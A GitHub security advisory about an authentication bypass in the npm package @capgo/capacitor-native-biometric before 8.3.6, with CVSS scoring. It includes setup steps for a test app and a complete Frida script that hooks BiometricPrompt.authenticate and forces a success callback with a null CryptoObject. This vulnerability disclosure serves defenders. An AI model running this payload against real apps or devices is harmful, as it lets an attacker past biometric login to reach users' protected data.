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cap-go/capacitor-native-biometric Authentication Bypass

Moderate severity GitHub Reviewed Published Feb 10, 2026 in Cap-go/capgo • Updated Feb 12, 2026

Package

npm @capgo/capacitor-native-biometric (npm)

Affected versions

< 8.3.6

Patched versions

8.3.6

Description

There is a potential issue with the cap-go/capacitor-native-biometric library.

Summary

The cap-go/capacitor-native-biometric library was found to be subject to an authentication bypass as the current implementation of the onAuthenticationSucceeded() does not appear to handle a CryptoObject1 2 as seen in the following code block starting from line 88 in AuthActivity.java:

@Override
    public void onAuthenticationSucceeded(
        @NonNull BiometricPrompt.AuthenticationResult result
    ) {
        super.onAuthenticationSucceeded(result);
        finishActivity("success");
    }

As the current implementation only checks whether onAuthenticationSucceeded() was called and does not handle a CryptoObject the biometric authentication can be bypassed by hooking the onAuthenticationSucceeded() function.

PoC Video:

https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7

Environment:

The following steps were taken to create and deploy a Capacitor application using the cap-go/capacitor-native-biometric library for the purpose of verifying this finding. Note at the time of writing the npx create-react-app command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen here. If it is not fixed by the time you look at this PoC please use the yarn alternatives.

  1. Create a new Capacitor app by opening your terminal and run the following commands to create a new Capacitor app. For the sake of the disclosure I'll be using the name capgo-poc:
npx create-react-app capgo-poc --template typescript

Yarn Alternative:

npm install --global yarn
yarn create react-app capgo-poc --template typescript
  1. Install dependencies by navigating into your app's directory and run the following command to install Capacitor's core dependencies:
cd capgo-poc
npm install @capacitor/core 
npm install @capacitor/cli 
npm install @capacitor/android
npm install @capgo/capacitor-native-biometric
npm install react

Yarn Alternative:

cd capgo-poc
yarn add @capacitor/core 
yarn add @capacitor/cli 
yarn add @capacitor/android
yarn add @capgo/capacitor-native-biometric
yarn add react
  1. Initialise the project using the name capgo-poc and com.capgo.poc, and add the android platform by running the following commands:
npx cap init
npx cap add android
  1. Configure the android permissions by opening the android/app/src/main/AndroidManifest.xml file and add the necessary permissions:
<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />
  1. Implement Biometric Authentication, here is some basic code to use the biometric authentication feature. Modify the TSX file called App.tsx in src/ and import the following code:
import React, { useState } from 'react';
import { NativeBiometric } from '@capgo/capacitor-native-biometric';

const App = () => {
  // State to hold authentication status
  const [authStatus, setAuthStatus] = useState<string | null>(null);

  // Function to authenticate the user
  const authenticateUser = async () => {
    try {
      const result = await NativeBiometric.verifyIdentity({
        reason: 'For an application access',
        title: 'Log in',
        subtitle: '',
        description: 'Verify yourself by biometrics',
        useFallback: true,
        maxAttempts: 3,
      }).then(() => true)
        .catch(() => false);

      if (!result) {
        setAuthStatus('failed');
      } else {
        setAuthStatus('success');
      }
    } catch (error) {
      console.error('Error during biometric verification:', error);
      setAuthStatus('error');
    }
  };

  return (
    <div>
      <h1>CAP-GO Capacitor Native Biometric Authentication</h1>
      <button onClick={authenticateUser}>Authenticate with Biometrics</button>

      {/* Conditionally render based on authentication status */}
      {authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}
      {authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}
      {authStatus === 'error' && <h2>Error during authentication</h2>}
    </div>
  );
};

export default App;
  1. Build the React project, synchronise it with the Android platform, and open the native Android project in Android Studio by running the following commands:
npm run build
npx cap sync android 
npx cap open android

Yarn alternative:

yarn build
npx cap sync android 
npx cap open android

Exploitation:

For the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications 3.

Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability.

  1. Copy the below frida script to a JavaScript file and run it to hook the onAuthenticationSucceeded() function, abusing the null CryptoObject. This can be done by running the following command:
frida -U -l <PAYLOAD> -n 'capgo-poc'

Payload

Java.perform(function () {
  hookBiometricPrompt();
});

function getBiometricAuthResult(resultObj, cryptoInst) {
    var authenticationResultInst = resultObj.$new(cryptoInst, 0);
    return authenticationResultInst;
};

function getBiometricPromptResult() {
    var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
    var cryptoInst = cryptoObj.$new(null);
    var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
    var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
    return authenticationResultInst
};

function hookBiometricPrompt() {
    var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
    console.log("Hooking BiometricPrompt.authenticate()...");
    biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
        var authenticationResultInst = getBiometricPromptResult();
        callback.onAuthenticationSucceeded(authenticationResultInst);
    }
};

References

Footnotes

  1. https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android#method-1-bypassing-with-no-crypto-object-usage ↩

  2. https://www.kayssel.com/post/android-8/ ↩

  3. https://frida.re/ ↩

@riderx riderx published to Cap-go/capgo Feb 10, 2026
Published to the GitHub Advisory Database Feb 10, 2026
Reviewed Feb 10, 2026
Last updated Feb 12, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Physical
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-vx5f-vmr6-32wf

Source code

Credits

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